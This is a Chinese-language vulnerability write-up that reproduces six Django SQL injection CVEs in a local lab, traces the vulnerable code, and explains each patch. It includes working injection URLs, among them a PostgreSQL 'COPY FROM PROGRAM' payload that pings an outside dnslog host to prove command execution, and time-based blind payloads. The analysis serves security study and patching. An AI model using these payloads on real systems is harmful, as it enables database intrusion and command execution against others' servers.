| author | tags | creation date | dg-path | |||
|---|---|---|---|---|---|---|
SurfRid3r |
|
2023-04-05 |
2023/04/05/Django历史漏洞高危分析.md |
漏洞分析来源:CVE Details-https://www.cvedetails.com/product/18211/Djangoproject-Django.html?vendor_id=1019
参考链接: Quick Reference: Django 备忘清单
# 1. 创建虚拟环境-CVE-2019-14234
mkvirtualenv django_2.2.3
workon django_2.2.3
# 2. 下载漏洞版本Django
pip install Django==2.2.3
python -m django --version
# 3. 初始化环境
django-admin startproject django_2.2.3
# 文件结构
# django_2.2.3/
# manage.py # django-admin
# mysite/
# __init__.py
# settings.py # Settings/configuration for this Django
# urls.py # The URL declarations for this Django project
# asgi.py # An entry-point for ASGI-compatible web server
# wsgi.py # An entry-point for WSGI-compatible web servers
# 4. 测试是否成功
python manage.py runserver 8080
# 5.创建应用
python .\manage.py startapp polls
# 初始化数据库
# INSTALLED_APPS setting and creates any necessary database tables
python manage.py migrate
# 6. Activating models
# settings.py的INSTALLED_APPS变量中手动添加"polls.apps.PollsConfig",并进行更新
# 1. Change your models (in models.py). 2.Run python manage.py makemigrations 3.python .\manage.py migrate
# 数据迁移
python manage.py makemigrations polls
python .\manage.py migrate2019 年 8 月 1 日,django 发布了漏洞 CVE-2019-14234 公告:CVE-2019-14234 是一个 SQL 注入漏洞,影响了 django.contrib.postgres.fields.JSONField 和 django.contrib.postgres.fields.HStoreField 的关键字查询和索引查询功能。攻击者可以通过伪造带有字典扩展的 kwargs 参数来实现注入攻击。具体来说,该漏洞是由于在使用 QuerySet.filter() 函数时,未对传入的参数进行充分的验证和过滤所导致的。导致攻击者可以构造恶意数据,将其作为参数传入 filter() 函数,造成 sql 注入攻击。
[!note] CVE-2019-14234: SQL injection possibility in key and index lookups for JSONField/HStoreField Key and index lookups for
django.contrib.postgres.fields.JSONFieldand key lookups fordjango.contrib.postgres.fields.HStoreFieldwere subject to SQL injection, using a suitably crafted dictionary, with dictionary expansion, as the**kwargspassed toQuerySet.filter().
- 危害类型: SQL注入。
- 受影响版本:
- <=2.2.4
- <=2.1.11
- <=1.11.23
JSONField和HStoreField在公告中可以看到漏洞是由于 Django 在查询JSONField/HStoreField时未对参数进行过滤而导致的。那么什么是JSONField/HStoreField呢?在文档中可以看到,这两个都是 Django 框架中的数据库字段类型。JSONField存储的是 Json 格式的数据,而HStoreField是 Django 为 PostgreSQL 设计的字段,存储键值对数据(相当于 Python 中的字典类型)。此外,在查询时,Django 提供了以下方法进行查询(多层嵌套的 json 字段 key 通过__连接即可查询)。
>>>Dog.objects.create(name='Rufus', data={
... 'breed': 'labrador',
... 'owner': {
... 'name': 'Bob',
... 'other_pets': [{
... 'name': 'Fishy',
... }],
... },
... })
>>>Dog.objects.create(name='Meg', data={'breed': 'collie', 'owner': None})
>>>Dog.objects.filter(data__breed='collie')
<QuerySet [<Dog: Meg>]>
>>>Dog.objects.filter(data__owner__name='Bob')
<QuerySet [<Dog: Rufus>]>- 在 QuickReference 中查看如何创建 Django 环境和项目。需要注意的是,此漏洞需要使用 Django 的默认数据库 sqlite,但漏洞信息表明该漏洞只在 postgresql 下触发。因此,需要修改默认的数据库配置并运行以下命令以初始化项目:
python manage.py startapp CVE_2019_14234。然后,在 Django 的settings.py中添加该项目,并将数据库配置修改为 postgresql。
# setting.py
# 添加数据库配置
# postgresql 创建对应的数据库
# CREATE DATABASE django;
# CREATE USER myuser WITH ENCRYPTED PASSWORD 'mypass';
# GRANT ALL PRIVILEGES ON DATABASE django TO myuser;
# ALTER ROLE myuser SET client_encoding TO 'utf8';
DATABASES = {
'default': {
# 'ENGINE': 'django.db.backends.sqlite3',
# 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
'ENGINE': 'django.db.backends.postgresql_psycopg2',
'NAME': 'django', # 数据库名称
'USER': 'myuser', # 登录数据库用户名
'PASSWORD': 'mypass', # 登录数据库密码
'HOST': 'localhost', # 数据库服务器的主机地址
'PORT': '', # 数据库服务的端口号
}
}
# ....
# 添加APP
INSTALLED_APPS = [
"CVE_2019_14234.apps.Cve201914234Config", # CVE_2019_14234\apps.py中的类名
# ...
]- 根据公告中的漏洞信息,该漏洞与 JSONField 和 HStoreField 这两个模型字段相关,可以在历史版本的文档中找到对应的使用方法:Django 2.1: Jsonfield 和 HStoreField, 根据给出的方法在
models.py中添加对应的模型. 添加结束后进行迁移以在数据库中添加对应的对应的成员:`python manage.py makemigrations CVE_2019_14234.
# CVE_2019_14234\models.py
from django.contrib.postgres.fields import JSONField
from django.db import models
class Dog(models.Model):
name = models.CharField(max_length=200)
data = JSONField()
def __str__(self):
return self.name
# CVE_2019_14234\admin.py
from django.contrib import admin
from CVE_2019_14234.models import Dog
# # Register your models here.
# 在后台注册展示创建管理类,用于后台管理页面并添加一些数据。
class DogAdmin(admin.ModelAdmin):
list_display = ['name', 'data']
admin.site.register(Dog, DogAdmin)- 完成上述代码后,直接运行该项目
python3 manager.py runserver,并且在后台添加一些 json 数据用于后续测试,例如:
{"breed": "husky", "owner": {"name": "David", "other_pets": [{"name": "Max"}]}}- 跟踪调用链可以看到, 当通过 URL 查询后,Django 对应的查询语句入口如下, 通过 filter 函数进行查询,通过字典的方式将 URL 中的参数传入。
def get_queryset(self, request):
# First, we collect all the declared list filters.
(self.filter_specs, self.has_filters, remaining_lookup_params,
filters_use_distinct) = self.get_filters(request)
# Then, we let every list filter modify the queryset to its liking.
# ...
try:
# Finally, we apply the remaining lookup parameters from the query
# string (i.e. those that haven't already been processed by the
# filters).
qs = qs.filter(**remaining_lookup_params)- 接着进入 filter 函数内部,此时需要的注意的是我们可控的部分分为 url_key 和 url_value 两个字段,Django 对于处理这两个字段时的 sql 语句拼接过程是不一样的。
- url_key 的 sql 语句拼接是通过
KeyTransform该类生成的, 如果输入的类型是字符串,则直接使用'包裹拼接。
# try_transform()
class KeyTransform(Transform):
operator = '->'
nested_operator = '#>'
# ...
def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
previous = self.lhs
while isinstance(previous, KeyTransform):
key_transforms.insert(0, previous.key_name)
previous = previous.lhs
lhs, params = compiler.compile(previous)
if len(key_transforms) > 1:
return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
try:
int(self.key_name) # 判断key类型是否为int类型
except ValueError:
lookup = "'%s'" % self.key_name # 如果是字符串则使用‘包裹
else:
lookup = "%s" % self.key_name
return "(%s %s %s)" % (lhs, self.operator, lookup), params # 合并成sql语句- url_value 和待执行的 sql 语句作为参数传入到
cursor.execute函数来执行生成的 sql 语句。默认情况下,Djang 通过json.dumps函数对 url_value 进行了编码,字符会经过转义。
class SQLCompiler:
# ...
def execute_sql(self, result_type=MULTI, chunked_fetch=False, chunk_size=GET_ITERATOR_CHUNK_SIZE):
# ...
# sql = 'SELECT "CVE_2019_14234_dog"."id", "CVE_2019_14234_dog"."name", "CVE_2019_14234_dog"."data" FROM "CVE_2019_14234_dog" WHERE ("CVE_2019_14234_dog"."data" -> 'breed')= %s ORDER BY "CVE_2019_14234_dog"."id" DESC LIMIT 21'
# params = ['husk']
try:
cursor.execute(sql, params)
# url_value 编码
def getquoted(self):
# json.dumps
s = self.dumps(self.adapted)
qs = QuotedString(s)
if self._conn is not None:
qs.prepare(self._conn)
return qs.getquoted()- 综上可以看到 Django 没有对于
url_key进行额外处理,导致可以通过'进行闭合导致 sql 注入。
-- SELECT "CVE_2019_14234_dog"."id", "CVE_2019_14234_dog"."name", "CVE_2019_14234_dog"."data" FROM "CVE_2019_14234_dog" WHERE ("CVE_2019_14234_dog"."data" -> 'breed') = "husky" ORDER BY "CVE_2019_14234_dog"."id"
SELECT * FROM table WHERE ("CVE_2019_14234_dog"."data" -> '$URL_KEY$') = "$URL_VALUE$" ORDER BY "CVE_2019_14234_dog"."id" 因此可以构造下述语句进行 sql 注入执行命令。
# 需要先登录后台http://127.0.0.1:8000/admin
http://127.0.0.1:8000/admin/CVE_2019_14234/dog/?data__breed')%3D''%3BCREATE%20table%20cmd_exec(cmd_output%20text)%20--=husk
http://127.0.0.1:8000/admin/CVE_2019_14234/dog/?data__breed%27)%3D%271%27%3Bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20qzdal2.dnslog.cn%27--=husk从官方的补丁链接中可以看到, 修改了 KeyTransform 类中的字符串拼接方式,从而变成了不再在 KeyTransform 中处理该参数,而是将 url_key 这个参数与 url_value 参数一同作为参数传入到 crusor.execute 函数中执行,从而避免了注入。

-- 修复后
SELECT "CVE_2019_14234_dog"."id", "CVE_2019_14234_dog"."name", "CVE_2019_14234_dog"."data" FROM "CVE_2019_14234_dog" WHERE ("CVE_2019_14234_dog"."data" -> %s) = %s ORDER BY "CVE_2019_14234_dog"."id" DESC2020 年 2月 3 号,Django 发布了漏洞 CVE-2020-7474 补丁更新:CVE-2020-7474 是一个 SQL 注入漏洞,其中 django.contrib.postgres.aggregates.StringAgg 聚合函数存在 SQL 注入风险。攻击者可以通过特定构造的分隔符来实现 SQL 注入攻击。
[!note] CVE-2020-7471: Potential SQL injection via StringAgg(delimiter)
django.contrib.postgres.aggregates.StringAggaggregation function was subject to SQL injection, using a suitably crafted delimiter.
- 危害类型: SQL 注入。
- 受影响版本:
- 3.0<=受影响版本<3.0.3
- 2.2<=受影响版本<2.2.10
- 1.11<=受影响版本<1.11.28
- StringAgg:公告中涉及到的类是 StringAgg。首先需要了解这个类使用来干什么的,在官方文档中搜到说明,其作用等同于 postgresql 中的 string_agg 函数,用于,将多个字符串连接成单个字符串的聚合函数。
根据补丁内容,很容易可以看到注入点是在 StringAgg 函数的 delimiter 分割符参数。并且之前的复现环境 [CVE-2019-14234](#CVE-2019-14234 刚好版本满足,还能够继续复用。所以这次尝试使用 chatgpt 帮我生成了一个使用 StringAgg 函数且 delimiter 能够作为参数被用户输入的场景(生成的书籍查询:即当前存在一些书籍信息,其中包含了作者名称,一个作者可能会有多本著作,当查询作者名称时会返回其所有的书籍名称)稍作修改如下。:
- CVE_2020_7471/models.py
from django.db import models
# Create your models here.
class Author(models.Model):
name = models.CharField(max_length=100)
def __str__(self):
return self.name
class Book(models.Model):
title = models.CharField(max_length=100)
author = models.ForeignKey(Author, on_delete=models.CASCADE)- CVE_2020_7471/views.py
from django.shortcuts import render
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Value
from CVE_2020_7471.models import Author,Book
# Create your views here.
def author_books(request):
delimiter = request.GET.get("delimiter", ", ")
author_name = request.GET.get("name")
if author_name:
authors = Author.objects.filter(name=author_name)
else:
authors = Author.objects.all()
books_by_author = {}
for author_i in authors:
books = Book.objects.filter(author=author_i).aggregate(result=StringAgg("title", delimiter=delimiter))["result"]
books_by_author[author_i] = books
context = {"authors": authors, "books_by_author": books_by_author}
return render(request, "CVE_2020_7471/author_books.html", context)- CVE_2020_7471/templates/CVE_2020_7471/author_books.html
<table>
<thead>
<tr>
<th>Author</th>
<th>Books</th>
</tr>
</thead>
<tbody>
{% for author, books in books_by_author.items %}
<tr>
<td>{{ author.name }}</td>
<td>
{% if books %}
{{ books }}
{% else %}
No books found.
{% endif %}
</td>
</tr>
{% endfor %}
</tbody>
</table>这个漏洞比较简单,根据补丁信息可以看到,Django 直接将 delimiter 的内容作为输入拼接,作为 sql 查询的一部分导致存在 sql 注入。其查询的语句为:
SELECT STRING_AGG("CVE_2020_7471_book"."title", '{{delimiter}}') AS "result" FROM "CVE_2020_7471_book" WHERE "CVE_2020_7471_book"."author_id" = %s其注入的位置位于 select 子句中,使用 ‘) 对 StringAgg 函数闭合后,就可以构造下述语句进行 sql 注入执行命令。
http://127.0.0.1:8000/CVE_2020_7471/?delimiter=,'||(select version())),('Django对两个文件进行了修改:general.py和mixins.py。在这些修改中,最终的SQL查询模板是通过template实现的,并且会根据此模板来拼接SQL语句;OrderableAggMixin是 StringAgg 的父类,在调用 super().__init__() 时将进入该类的初始化函数中。
在存在漏洞的版本中,我们可以看到 delimiter 被直接拼接到 SQL 语句中,而没有进行任何处理。而在修补后的版本中,Django 先将 delimiter 转换为 Value 类型,然后与 expression 一同作为 *expressions 数组中的内容传递到 OrderableAggMixin 的 __init__ 函数中 (例如在 StringAgg("title", delimiter=',') 函数中 expression 值为 title) 。 Value 类型的作用是将内容作为参数 %s 传递到 SQL 语句中, 从而避免了 SQL 注入攻击。
def _execute(self, sql, params, *ignored_wrapper_args):
# ...
# sql = 'SELECT STRING_AGG("CVE_2020_7471_book"."title", %s ) AS "result" FROM "CVE_2020_7471_book" WHERE "CVE_2020_7471_book"."author_id" = %s'
# params = ("'", 1)
# => SELECT STRING_AGG("CVE_2020_7471_book"."title", '''' ) AS "result" FROM "CVE_2020_7471_book" WHERE "CVE_2020_7471_book"."author_id" = 1
return self.cursor.execute(sql, params)2021年,django 发布了漏洞 CVE-2021-35042公告:CVE-2021-35042是一个潜在的 SQL 注入漏洞,通过未经过滤的用户输入传递给 QuerySet.order_by() 函数,可以进行绕过从而导致潜在的 SQL 注入。
[!note] CVE-2021-35042: Potential SQL injection via unsanitized
QuerySet.order_by ()input Unsanitized user input passed toQuerySet.order_by()could bypass intended column reference validation in path marked for deprecation resulting in a potential SQL injection even if a deprecation warning is emitted.As a mitigation the strict column reference validation was restored for the duration of the deprecation period. This regression appeared in 3.1 as a side effect of fixing #31426.
- 危害类型: SQL 注入。
- 受影响版本:
- 受影响版本<
3.2.5 - 受影响版本<
3.1.13
- 受影响版本<
根据公告信息,该漏洞位于 QuerySet.order_by 函数中。根据官方文档,可以知道该函数是用于对查询结果后的内容进行排序的,就如同 sql 中的 order by 命令,主要的使用方式如下:
- 支持多列进行排序:
Entry.objects.order_by('blog__name', 'headline') -|+用来表示ASC/DESC?: 随机排序
这次搭建很简单,需要使用 Django3.1.12 版本。
mkvirtualenv django_3.1.12
workon django_3.1.12
pip install Django==3.1.12
django-admin startproject django_2.2.3
python .\manage.py startapp CVE_2021_35042构造一个查询书籍的场景。
- CVE_2021_35042/models. py
class Book(models.Model):
title = models.CharField(max_length=100)
publication_date = models.DateField()
def __str__(self):
return self.title- CVE_2021_35042/views. py
from CVE_2021_35042.models import Book
def book_list(request):
order_by = request.GET.get('order_by', 'publication_date') # 默认排序字段为 publication_date
books = Book.objects.all().order_by(order_by)
return render(request, 'CVE_2021_35042/book_list.html', {'books': books})- CVE_2021_35042/templates/CVE_2021_35042/book_list. html
<a href="?order_by=publication_date">Sort by Publication Date</a>
<a href="?order_by=title">Sort by Title</a>
{% for book in books %}
<p>{{ book.title }}</p>
{% endfor %}- django_2_2_3/urls. py
urlpatterns = [
path('admin/', admin.site.urls),
path("CVE_2021_35042/", b
ook_list, name="bool_list")
]从补丁位置看到,order_by 其处理逻辑位于 add_ordering 函数中,可以看到该函数会逐个处理 order_by 函数传入的参数即 item。正常情况下会进入到 self.names_to_path 函数中,Django 会对传入的 item 名称在字典中搜索获取对应的 field 属性(详见下图 get_field 函数)。
但是如果传入的字符串中包含符号 .,即通过表别名+列名的方式传入 (table.col),那么就不会进入到 self.names_to_path 函数中检验,而是直接跳过,最终会将该输入的值直接作为 order_by 内容作为 sql 语句的一部分进行拼接(其中转为 sql 语句时会调用 quote_name_unless_alias 函数对内容加上 "),其查询的语句为:
-- order_by_ite = quote_name_unless_alias(item)
SELECT "CVE_2021_35042_book"."id", "CVE_2021_35042_book"."title", "CVE_2021_35042_book"."publication_date" FROM "CVE_2021_35042_book" ORDER BY (%order_by_item%) ASC因此可以构造如下注入语句进行注入
# 1"),iif((select sqlite_version() like "3%"),RANDOMBLOB(500000000/2),1)--.
http://127.0.0.1:8000/CVE_2021_35042/?order_by=1%22),iif((select%20sqlite_version()%20like%20%223%%22),RANDOMBLOB(500000000/2),1)--.补丁中可以看到如果是通过表别名+列名的方式传入, Django 会通过正则进行匹配,只限定字母和 +,-,. 符号的传入,防止通过 " 等方式去提前闭合语句造成注入。

2022年,django 发布了漏洞 CVE-2022-34265 公告:CVE-2022-34265是一个潜在的 SQL 注入漏洞,通过将未受信任的数据用作 Trunc(kind) 和 Extract(lookup_name) 参数的值,可以导致 SQL 注入。
[!note] CVE-2022-34265: Potential SQL injection via
Trunc(kind)andExtract(lookup_name)argumentsTrunc()andExtract ()database functions were subject to SQL injection if untrusted data was used as a kind/lookup_name value.Applications that constrain the lookup name and kind choice to a known safe list are unaffected.
- 危害类型:SQL 注入
- 受影响版本:
- 受影响版本<
4.0.6 - 受影响版本<
3.2.14
- 受影响版本<
根据公告信息和补丁中添加的测试案例,直接能够看到漏洞所在函数是 Trunc() 和 Extract() ,并且也给出测试触发案例。
此外从文档中可以得知 Trunc() 和 Extract() 都是用于处理时间的函数,Trunc 是用于截断日期的一部分;Extract 用于将日期的一个组成部分提取为数字,两个函数的参数输入类似。
参考官方测试案例构造即可,如下:
# CVE_2022_34265/modesl.py
class DateModel(models.Model):
start_datetime = models.DateTimeField()
end_datetime = models.DateTimeField()
# CVE_2022_34265/views.py
from django.http import HttpResponse
from django.db.models.functions import Trunc, Extract
from CVE_2022_34265.models import DateModel
def trunc_view(request):
unit = request.GET.get('unit', 'day')
data = DateModel.objects.annotate(start_day=Trunc('start_datetime', unit))
# print(DateModel.objects.annotate(start_day=Trunc('start_datetime', unit)).query.__str__())
response = "<h1>Trunc View</h1>"
response += "<table>"
response += "<thead>"
response += "<tr><th>Start Datetime</th><th>Start day</th></tr>"
response += "</thead>"
response += "<tbody>"
for item in data:
response += "<tr><td>{}</td><td>{}</td></tr>".format(item.start_datetime, item.start_day)
response += "</tbody>"
response += "</table>"
return HttpResponse(response)
def extract_view(request):
unit = request.GET.get('unit', 'month')
data = DateModel.objects.annotate(end_month=Extract('end_datetime', unit))
response = "<h1>Extract View</h1>"
response += "<table>"
response += "<thead>"
response += "<tr><th>End Datetime</th><th>End Month</th></tr>"
response += "</thead>"
response += "<tbody>"
for item in data:
response += "<tr><td>{}</td><td>{}</td></tr>".format(item.end_datetime, item.end_month)
response += "</tbody>"
response += "</table>"
return HttpResponse(response)从测试案例中即可看到是因为 _lookup_name_ / kind 两个参数原始是传递的是时间中 year,day 等参数用来标识具体时间的,但是 Django 没有对参数进行校验直接传入作为 sql 语句的一部分了。
值得注意的是,在使用 Django4.0.1 测试时,发现最后拼接查询的 sql 语句与网上其他漏洞分析中的语句略有不同,注入点从子句 where 到了 select 位置,如下:
SELECT "CVE_2022_34265_datemodel"."id", "CVE_2022_34265_datemodel"."start_datetime", "CVE_2022_34265_datemodel"."end_datetime", django_datetime_trunc(%vuln_data_input%, "CVE_2022_34265_datemodel"."start_datetime", 'UTC', 'UTC') AS "start_day" FROM "CVE_2022_34265_datemodel" LIMIT 21因此可以构造如下注入语句进行注入:
# unit = year1,0,0,0),iif((select sqlite_version() like '4%'),RANDOMBLOB(500000000/2),1),date('
http://127.0.0.1:8000/CVE_2022_34265/trunc/?unit=year1%27,0,0,0),iif((select%20sqlite_version()%20like%20%224%%22),RANDOMBLOB(500000000/2),1),date(%27PS: sql 语句的 django_datetime_trunc 函数是 Django 通过 sqlite 数据库接口创建的用户自定义函数,用于进行拓展,如下: 
Django 对该漏洞的修复与 CVE-2021-35042 类似,直接写了一个正则表示在调用时对输入参数进行内容匹配。

2022年,Django 发布了漏洞 CVE-2022-28346 公告:CVE-2022-28346 是一个潜在的 SQL 注入漏洞,通过在 QuerySet.annotate()、aggregate() 和 extra() 函数中使用适当构造的字典作为 **kwargs 参数传递给这些方法时,可以进行列别名的 SQL 注入。
[!note] CVE-2022-28346: Potential SQL injection in
QuerySet.annotate(),aggregate(), andextra()QuerySet.annotate(),aggregate(), andextra()methods were subject to SQL injection in column aliases, using a suitably crafted dictionary, with dictionary expansion, as the**kwargspassed to these methods.
- 危害类型:SQL 注入
- 受影响版本:
- 受影响版本<
4.0.4 - 受影响版本<
3.2.13 - 受影响版本<
2.2.28
- 受影响版本<
QuerySet.annotate()、aggregate() 和 extra() 函数是 Django 中用于进行复杂查询和聚合操作的函数,详见官方文档。
以 annotate(_*args_, _**kwargs_) 函数为例,在官方的使用示例如下:
# The number of entries on the first blog
>>> q = Blog.objects.annotate(Count('entry'))
>>> q[0].entry__count
42
>>> q = Blog.objects.annotate(number_of_entries=Count('entry'))
>>> q[0].number_of_entries
42根据示例和传入参数,我们可以看出annotate函数支持以字典形式传入参数。当使用annotate查询结果后,会添加一个新的字段来记录查询结果。用户可以通过获取该字段来获取结果。此外,用户还可以自定义新字段的名称,通过字典的键值对进行传入。以上述示例为例,number_of_entries就是新增字段的名称。
根据 Django 的补丁链接中的 Demo 案例 ,结合官网示例,搭建的环境如下:
# CVE_2022_28346\modes.py
class Book(models.Model):
name = models.CharField(max_length=300)
pages = models.IntegerField()
price = models.DecimalField(max_digits=10, decimal_places=2)
rating = models.FloatField()
pubdate = models.DateField()
# CVE_2022_28346\views.py
def book_list_view(request):
alias = request.GET.get("alias", None)
func = request.GET.get("func", None)
response = "<h2>Book List</h2>"
if func == "aggregate" and alias:
aggregate_param = request.GET.get("aggregate_param", "price")
data = Book.objects.aggregate(**{alias: Avg(aggregate_param)})
response += "<p>{alias}: {value:.2f}</p>".format(
alias=alias.capitalize(), value=data[alias]
)
elif (func == "annotate" or func == "extra") and alias:
if func == "annotate":
queryset = Book.objects.annotate(**{alias: Sum("price")})
else:
queryset = Book.objects.extra(
select={alias: "price"}, where=["price > 20"]
)
if queryset.exists():
response += "<table><thead><tr><th>Name</th><th>{alias}</th></tr></thead><tbody>".format(
alias=alias.capitalize()
)
for book in queryset:
response += "<tr><td>{name}</td><td>{value:.2f}</td></tr>".format(
name=book.name, value=getattr(book, alias)
)
response += "</tbody></table>"
else:
response += "<p>No books found.</p>"
else:
books = Book.objects.all()
response += "<table><thead><tr><th>Name</th><th>Pages</th><th>Price</th><th>Rating</th><th>Pubdate</th></tr></thead><tbody>"
for book in books:
response += "<tr><td>{name}</td><td>{pages}</td><td>{price}</td><td>{rating}</td><td>{pubdate}</td></tr>".format(
name=book.name,
pages=book.pages,
price=book.price,
rating=book.rating,
pubdate=book.pubdate,
)
response += "</tbody></table>"
return HttpResponse(response)对于QuerySet.annotate()、aggregate()和extra()函数传入用户自定义字段名的操作,其在SQL语句中对应的是AS关键字。可以很容易推测出,Django没有对该别名进行内容过滤,导致别名直接拼接到SQL语句中,从而导致存在SQL注入漏洞。
对着补丁函数下断点即可看到过程,以下是上述 Demo 案例中 QuerySet.annotate()、aggregate() 和 extra() 各函数对应的查询语句,完全符合上述猜想:
-- %vuln_data_input%为传入alias参数
-- extra
SELECT (price) AS "%vuln_data_input%", "CVE_2022_28346_book"."id", "CVE_2022_28346_book"."name", "CVE_2022_28346_book"."pages", "CVE_2022_28346_book"."price", "CVE_2022_28346_book"."rating", "CVE_2022_28346_book"."pubdate" FROM "CVE_2022_28346_book" WHERE (price > 20)
-- aggregate
SELECT CAST(AVG("CVE_2022_28346_book"."price") AS NUMERIC) AS "%vuln_data_input%" FROM "CVE_2022_28346_book"
-- annotate
SELECT "CVE_2022_28346_book"."id", "CVE_2022_28346_book"."name", "CVE_2022_28346_book"."pages", "CVE_2022_28346_book"."price", "CVE_2022_28346_book"."rating", "CVE_2022_28346_book"."pubdate", CAST(SUM("CVE_2022_28346_book"."price") AS NUMERIC) AS "%vuln_data_input%" FROM "CVE_2022_28346_book" GROUP BY "CVE_2022_28346_book"."id", "CVE_2022_28346_book"."name", "CVE_2022_28346_book"."pages", "CVE_2022_28346_book"."price", "CVE_2022_28346_book"."rating", "CVE_2022_28346_book"."pubdate"注入点是位于 select 子句中的,接下只要构造内容闭合进行注入即可 (三个函数都是同样的情况),如下:
# alias=avg",iif((select sqlite_version() like "%4"),RANDOMBLOB(500000000/2),1),"
http://127.0.0.1:8000/CVE_2022_28346/?alias=avg%22,iif((select%20sqlite_version()%20like%20%224%%22),RANDOMBLOB(500000000/2),1),%22&func=aggregate漏洞修复和上述几个漏洞相同,对 alias 进行内容校验,过滤了一些特殊符号,防止提前对内容进行闭合,导致注入。

2022年,django 发布了漏洞 CVE-2022-28347 公告:CVE-2022-28347 是一个潜在的 SQL 注入漏洞,通过在 PostgreSQL 上使用 QuerySet.explain(**options) 方法时,使用适当构造的字典作为 **options 参数,可以进行 SQL 注入。
[!note] CVE-2022-28347: Potential SQL injection via
QuerySet.explain(**options)on PostgreSQLQuerySet.explain()method was subject to SQL injection in option names, using a suitably crafted dictionary, with dictionary expansion, as the**optionsargument.
- 危害类型:SQL 注入
- 受影响版本:
- 受影响版本<
4.0.4 - 受影响版本<
3.2.13 - 受影响版本<
2.2.28
- 受影响版本<
该漏洞只影响 postgresql 数据库,通过 Django文档可以了解到 explain 函数是用来分析 Django 对应的查询命令,并且输出对应 SQL 语句的查询计划。其等价于 postgresql 中的 EXPLAIN 命令
因为该漏洞需要使用的是 postgresql 数据库,之前使用的都是 sqlite 数据。因此除了新增了 views.py 外,还额外添加数据库路由配置 database_router.py,具体如下:
# CVE_2022_28347\views.py
def books_view(request):
# 获取查询执行计划
explain_dict = dict(request.GET.items())
queryset = Book.objects.all()
# 构建 HTML 内容
html_content = "<!DOCTYPE html><html> <head><title>Query Execution Plan</title></head><body><h1>Query Execution Plan</h1><pre>{query_plan}</pre></body></html>".format(query_plan=queryset.explain(format=None, **explain_dict))
return HttpResponse(html_content)
# database_router.py
class AppRouter:
def db_for_read(self, model, **hints):
if model._meta.app_label == "CVE_2022_28347":
return "postgres_db"
return None
def db_for_write(self, model, **hints):
if model._meta.app_label == "CVE_2022_28347":
return "postgres_db"
return None
# settings.py
DATABASE_ROUTERS = ['django_4_0_1.database_router.AppRouter']从公告中可以看到漏洞输入点位于 **option 参数,该字典参数内容最终由 explain_query_prefix 函数处理。默认数据库对于有值的 **option 参数是不会处理的,并且会抛出异常。
Django 中 postgresql 类中重载了该函数。Django 在从 **options 中提取 key 值的时候,直接将 key 提取进行了拼接作为了后面 explain 查询的中的参数。
sql 语句如下
EXPLAIN (%vuln_data_input%) SELECT "CVE_2022_28347_book"."id", "CVE_2022_28347_book"."title", "CVE_2022_28347_book"."author" FROM "CVE_2022_28347_book"EXPALIN 默认是不执行对应的语句的。但是在 postgresql 的文档中可以看到,EXPALIN 中有一个 ANALYZE 参数,添加该参数后,postgresql 会执行命令并显示实际运行时间和其他统计信息,因此只能通过该参数闭合然后进行时间盲注,构造如下语句:
# http://127.0.0.1:8000/CVE_2022_28347/?ANALYZE)%20SELECT%20pg_sleep(5)--=1
EXPLAIN (ANALYZE) SELECT pg_sleep(5)--


